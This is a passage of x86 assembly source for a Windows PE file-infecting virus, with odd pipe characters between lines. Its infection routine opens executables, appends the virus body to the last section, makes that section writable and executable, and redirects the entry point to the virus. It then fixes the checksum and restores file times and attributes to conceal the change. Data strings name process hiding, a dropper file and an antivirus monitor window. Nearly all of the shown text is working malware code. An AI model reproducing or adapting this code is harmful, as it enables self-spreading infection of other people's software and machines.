call SetFileAttributesA ; clear 'da attribs
|
|||
|
|
|||
|
mov esi,fnameptr
|
|||
|
call OpenFile
|
|||
|
cmp eax,-1
|
|||
|
jnz open_ok
|
|||
|
ret
|
|||
|
open_ok:
|
|||
|
mov handle,eax
|
|||
|
|
|||
|
push offset creation
|
|||
|
push offset lastaccess
|
|||
|
push offset lastwrite
|
|||
|
push eax
|
|||
|
call GetFileTime ; grab the file time
|
|||
|
|
|||
|
xor ecx,ecx ; only map size of file
|
|||
|
call create_mapping ; create file mapping
|
|||
|
jc abort_infect
|
|||
|
; eax->mapped file
|
|||
|
cmp word ptr [eax],'ZM' ; is EXE?
|
|||
|
jnz abort_infect
|
|||
|
|
|||
|
call GetPEHeader ; load esi->PE Header
|
|||
|
|
|||
|
push 2
|
|||
|
push esi ; test ptr for read acces
|
|||
|
call IsBadReadPtr ; was ptr any good?
|
|||
|
or eax,eax
|
|||
|
jnz abort_infect
|
|||
|
|
|||
|
cmp word ptr [esi],'EP' ; PE?
|
|||
|
jnz abort_infect
|
|||
|
|
|||
|
cmp dword ptr [esi+ID_OFF],0 ; any value here?
|
|||
|
jnz abort_infect ; if yes, infected
|
|||
|
|
|||
|
call unmap ; unmap file
|
|||
|
|
|||
|
mov ecx,VIRUS_SIZE+1000h ; add max virus size to map size
|
|||
|
call create_mapping ; map file again
|
|||
|
jc abort_infect
|
|||
|
|
|||
|
call GetPEHeader ; load esi -> pe header
|
|||
|
|
|||
|
call GetTickCount ; get tick count
|
|||
|
mov dword ptr [esi+ID_OFF],eax ; save as infect flag
|
|||
|
|
|||
|
xor eax,eax
|
|||
|
mov ax, word ptr [esi+NtHeaderSize] ; get header size
|
|||
|
add eax,18h ; object table is here
|
|||
|
|
|||
|
mov edi,esi
|
|||
|
add edi,eax ; edi->object table
|
|||
|
xor eax,eax
|
|||
|
mov ax,[esi+numObj] ; get number of objects
|
|||
|
dec eax ; we want last object
|
|||
|
mov ecx,40 ; each object 40 bytes
|
|||
|
xor edx,edx
|
|||
|
mul ecx ; numObj-1*40=last object
|
|||
|
add edi,eax ; edi->last obj
|
|||
|
|
|||
|
mov eax,[edi+objpoff] ; get last object physical off
|
|||
|
mov lastobjimageoff,eax ; save it
|
|||
|
|
|||
|
mov ecx,[edi+objpsize] ; get physical size of object
|
|||
|
mov eax,[edi+objvsize] ; get object virtual size
|
|||
|
push eax ; save virtual size
|
|||
|
push ecx ; save original p size
|
|||
|
mov originalvsize,eax ; save it 4 later
|
|||
|
add eax,VIRTUAL_SIZE ; add our virtual size
|
|||
|
mov dword ptr [edi+objvsize],eax ; save new virtual size
|
|||
|
mov ecx,[esi+filealign] ; physical size=filealign(vsize)
|
|||
|
call align_fix ; align new vsize to be psize
|
|||
|
mov [edi+objpsize],eax ; save new physical size
|
|||
|
mov newpsize,eax ; store it for exe size calc
|
|||
|
push eax
|
|||
|
|
|||
|
mov ecx,dword ptr [esi+objalign] ; get object alignment
|
|||
|
mov eax,dword ptr [edi+objvsize] ; add virtual size
|
|||
|
add eax,dword ptr [edi+objrva] ; +last object rva
|
|||
|
call align_fix ; set on obj alignment
|
|||
|
mov dword ptr [esi+imagesize],eax ; save new imagesize
|
|||
|
|
|||
|
mov [edi+objflags],0E0000060h ; set object flags r/w/x
|
|||
|
|
|||
|
pop ecx ; restore new phsyical size
|
|||
|
pop eax ; original psize
|
|||
|
sub ecx,eax
|
|||
|
mov diffpsize,ecx
|
|||
|
|
|||
|
pop eax ; restore orginal virtual size
|
|||
|
add eax,[edi+objrva] ; add last object's RVA
|
|||
|
; eax now RVA of virus code
|
|||
|
add eax,physical_eip ; add physical eip:
|
|||
|
mov ebx,[esi+entrypointRVA] ; get original entry
|
|||
|
mov [esi+entrypointRVA],eax ; put our RVA as entry
|
|||
|
|
|||
|
mov ecx,[ebp+virus_mem]
|
|||
|
add ecx,host_physical_eip
|
|||
|
mov [ecx],ebx ; save host e RVA
|
|||
|
add ecx,4
|
|||
|
mov [ecx],eax ; save virus e RVA
|
|||
|
;
|
|||
|
push esi
|
|||
|
|
|||
|
mov edi,map_ptr
|
|||
|
add edi,originalvsize ; restore original virtual size
|
|||
|
add edi,lastobjimageoff ; add object physical offset
|
|||
|
; edi->physical end of object
|
|||
|
mov esi,virus_mem ; esi->virus
|
|||
|
mov ecx,VIRUS_SIZE
|
|||
|
rep movsb ; copy virus to host
|
|||
|
|
|||
|
pop esi
|
|||
|
mov ecx,lastobjimageoff
|
|||
|
add ecx,newpsize
|
|||
|
mov fsize,ecx ; store new filesize
|
|||
|
push ecx ; ecx=real file size
|
|||
|
|
|||
|
call unmap ; unmap file
|
|||
|
|
|||
|
pop ecx
|
|||
|
push FILE_BEGIN ; from file begin
|
|||
|
push 0 ; distance high
|
|||
|
push ecx ; distance low
|
|||
|
push handle
|
|||
|
call SetFilePointer ; move file pointer to
|
|||
|
; real EOF
|
|||
|
push handle
|
|||
|
call SetEndOfFile ; set end of file
|
|||
|
;
|
|||
|
; now we need to calculate checksum. We need to remap the file to get it
|
|||
|
; right after file size change. I might be wrong about this, there could
|
|||
|
; have been a bug in my code, but it seems resonable.
|
|||
|
;
|
|||
|
xor ecx,ecx
|
|||
|
call create_mapping
|
|||
|
jc unmapped
|
|||
|
mov esi,[eax+3ch]
|
|||
|
add esi,eax ; esi->pe header
|
|||
|
lea eax,[esi+checksum]
|
|||
|
push eax ; destination of checksum in hdr
|
|||
|
push offset oldchksum
|
|||
|
push fsize ; new file size
|
|||
|
mov eax,map_ptr
|
|||
|
push eax
|
|||
|
call CheckSumMappedFile
|
|||
|
call unmap
|
|||
|
|
|||
|
jmp unmapped
|
|||
|
|
|||
|
abort_infect:
|
|||
|
call unmap ;unmap if aborted infection
|
|||
|
unmapped:
|
|||
|
|
|||
|
push offset creation
|
|||
|
push offset lastaccess
|
|||
|
push offset lastwrite
|
|||
|
push handle
|
|||
|
call SetFileTime ; restore orginal file time
|
|||
|
|
|||
|
push handle
|
|||
|
call CloseHandle
|
|||
|
|
|||
|
mov eax,oldattrib ; get original attribs
|
|||
|
push eax
|
|||
|
mov eax,fnameptr
|
|||
|
push eax
|
|||
|
call SetFileAttributesA ; restore the original attributes
|
|||
|
|
|||
|
ret
|
|||
|
InfectFile endp
|
|||
|
|
|||
|
GetPEHeader proc
|
|||
|
mov esi,[eax+3Ch] ; where PE hdr pointer is
|
|||
|
add esi,eax
|
|||
|
ret
|
|||
|
GetPEHeader endp
|
|||
|
|
|||
|
; create_mapping - create file mapping of [handle]
|
|||
|
; entry: ecx=mapping size
|
|||
|
;
|
|||
|
create_mapping proc
|
|||
|
push ecx ; save mapping size
|
|||
|
|
|||
|
push 0 ; high fsize storage, not needed
|
|||
|
push handle ; file handle
|
|||
|
call GetFileSize
|
|||
|
call test_error
|
|||
|
jc create_abort
|
|||
|
mov fsize,eax
|
|||
|
|
|||
|
pop ecx ; restore map size
|
|||
|
|
|||
|
push 0 ; no map name
|
|||
|
add eax,ecx
|
|||
|
push eax ; low size+vs
|
|||
|
push 0 ; high size
|
|||
|
push PAGE_READWRITE ; read&write
|
|||
|
push 0
|
|||
|
push handle
|
|||
|
call CreateFileMappingA
|
|||
|
call test_error
|
|||
|
jc create_abort
|
|||
|
mov maphandle,eax
|
|||
|
|
|||
|
push 0 ; # of bytes, 0= map entire file
|
|||
|
push 0 ; file offset low
|
|||
|
push 0 ; file offset high
|
|||
|
push FILE_MAP_WRITE ; access flags - read&write
|
|||
|
push eax ; handle
|
|||
|
call MapViewOfFile
|
|||
|
call test_error
|
|||
|
jc create_abort
|
|||
|
mov map_ptr,eax
|
|||
|
|
|||
|
create_abort:
|
|||
|
ret
|
|||
|
create_mapping endp
|
|||
|
|
|||
|
|
|||
|
; test_error - test API for an error return
|
|||
|
; entry: eax=API return
|
|||
|
; returns: carry if error
|
|||
|
;
|
|||
|
test_error proc
|
|||
|
cmp eax,-1
|
|||
|
jz api_err
|
|||
|
or eax,eax
|
|||
|
jz api_err
|
|||
|
clc
|
|||
|
ret
|
|||
|
api_err:
|
|||
|
stc
|
|||
|
ret
|
|||
|
test_error endp
|
|||
|
|
|||
|
;--------------------------------------------------------------
|
|||
|
; unmap file - Unmap view of file
|
|||
|
;
|
|||
|
unmap:
|
|||
|
|
|||
|
push map_ptr
|
|||
|
call UnmapViewOfFile
|
|||
|
push maphandle
|
|||
|
call CloseHandle
|
|||
|
ret
|
|||
|
|
|||
|
;--------------------------------------------------------------
|
|||
|
; sets eax on alignment of ecx
|
|||
|
;
|
|||
|
align_fix:
|
|||
|
xor edx,edx
|
|||
|
div ecx ; /alignment
|
|||
|
or edx,edx ; check for remainder
|
|||
|
jz no_inc
|
|||
|
inc eax ; next alignment
|
|||
|
no_inc:
|
|||
|
mul ecx ; *alignment
|
|||
|
ret
|
|||
|
|
|||
|
;-------------------------------------------------------------
|
|||
|
; copy string
|
|||
|
; pass edi->destination esi->source
|
|||
|
; we could use lstrcat for this purpose, but oh well
|
|||
|
;
|
|||
|
|
|||
|
copy_str:
|
|||
|
mov ecx,0FFh ; no bigger than 256
|
|||
|
copystr:
|
|||
|
lodsb
|
|||
|
stosb
|
|||
|
cmp al,0
|
|||
|
jz copystrdone
|
|||
|
loop copystr
|
|||
|
copystrdone:
|
|||
|
ret
|
|||
|
|
|||
|
APIs: ; structure of ptrs to our API names
|
|||
|
dd offset CreateFile
|
|||
|
dd offset CloseHandleS
|
|||
|
dd offset WriteFileS
|
|||
|
dd offset CloseFile
|
|||
|
dd offset GetSysDir
|
|||
|
dd offset DeleteFile
|
|||
|
dd offset CreateProc
|
|||
|
dd offset GetStartUp
|
|||
|
dd offset GlobalAlloc
|
|||
|
dd offset GlobalFree
|
|||
|
dd 0
|
|||
|
|
|||
|
; our API names
|
|||
|
CreateFile db 'CreateFileA',0
|
|||
|
CloseHandleS db 'CloseHandle',0
|
|||
|
WriteFileS db 'WriteFile',0
|
|||
|
CloseFile db 'CloseHandle',0
|
|||
|
GetSysDir db 'GetSystemDirectoryA',0
|
|||
|
DeleteFile db 'DeleteFileA',0
|
|||
|
CreateProc db 'CreateProcessA',0
|
|||
|
GetStartUp db 'GetStartupInfoA',0
|
|||
|
GlobalAlloc db 'GlobalAlloc',0
|
|||
|
GlobalFree db 'GlobalFree',0
|
|||
|
|
|||
|
API_Struct: ; structure for API VAs
|
|||
|
CreateFileAPI dd 0
|
|||
|
CloseHandleAPI dd 0
|
|||
|
WriteFileAPI dd 0
|
|||
|
CloseFileAPI dd 0
|
|||
|
GetSysDirAPI dd 0
|
|||
|
DeleteFileAPI dd 0
|
|||
|
CreateProcessAPI dd 0
|
|||
|
GetStartupInfoAPI dd 0
|
|||
|
GlobalAllocAPI dd 0
|
|||
|
GlobalFreeAPI dd 0
|
|||
|
|
|||
|
APIStructEnd:
|
|||
|
virusname db '\enumero.exe',0
|
|||
|
tempname db '\temp.tmp',0
|
|||
|
RegisterService db 'RegisterServiceProcess',0
|
|||
|
GetWindowModuleFileName db 'GetWindowModuleFileNameA',0
|
|||
|
EnumPModules db 'EnumProcessModules',0
|
|||
|
GetMFileName db 'GetModuleFileNameExA',0
|
|||
|
EnumProcessModules dd 0
|
|||
|
GetModuleFileNameEx dd 0
|
|||
|
GetWindowModuleFileNameA dd 0
|
|||
|
kernel32 db 'KERNEL32.DLL',0
|
|||
|
user32 db 'USER32.DLL',0
|
|||
|
psapi db 'PSAPI.DLL',0
|
|||
|
avp_wndname db 'AVP Monitor',0
|
|||
|
sinfo:
|
|||
|
curpos dd 0 ; ptr to cur member of array
|
|||
|
pnames dd 0 ; ptr to process names
|
|||
|
totalexe dd 0
|
|||
|
totalwnd dd 0
|
|||
|
testnums dd 0 ; bool
|
|||
|
testednums dd 0
|
|||
|
curidx dd 0
|
|||
|
icnt dd 0
|
|||
|
re_enum db 0
|
|||
|
bytesread dd 0
|
|||
|
handle dd 0 ; file handle
|
|||
|
pinfo: ; process information
|
|||
|
hprocess dd 0
|
|||
|
pid dd 0
|
|||
|
maphandle dd 0
|
|||
|
map_ptr dd 0
|
|||
|
nameptrtbl dd 0
|
|||
|
fsize dd 0
|
|||
|
adrtbl dd 0
|
|||
|
oldattrib dd 0 ; stored file attribs
|
|||
|
ourAPIptr dd 0
|
|||
|
curAPIptr dd 0
|
|||
|
ordinaltbl dd 0
|
|||
|
kernelbase dd 0
|
|||
|
originalRVAptr dd 0 ; RVA ptr to our hooked API RVA
|
|||
|
msgstruct:
|
|||
|
originalRVA dd 0 ; orginal RVA of our hooked API
|
|||
|
diffpsize dd 0
|
|||
|
oldchksum:
|
|||
|
originalvsize dd 0
|
|||
|
lastobjimageoff dd 0
|
|||
|
creation dd 0,0 ; our file time structures
|
|||
|
lastaccess dd 0,0
|
|||
|
lastwrite dd 0,0
|
|||
|
fnameptr dd 0 ; ptr to file name we're inf
|
|||
|
spawnfile dd 0
|
|||
|
virus_mem dd 0
|
|||
|
phandle dd 0
|
|||
|
newpsize dd 0
|
|||
|
mod_array dd 0 ; ptr to allocated module array
|
|||
|
del_buf dd 0 ; ptr to allocated delete buf memory
|
|||
|
vend:
|
|||
|
end vstart
|
|||
|
ends
|
|||
|
|
|||
|
|
|||
|
|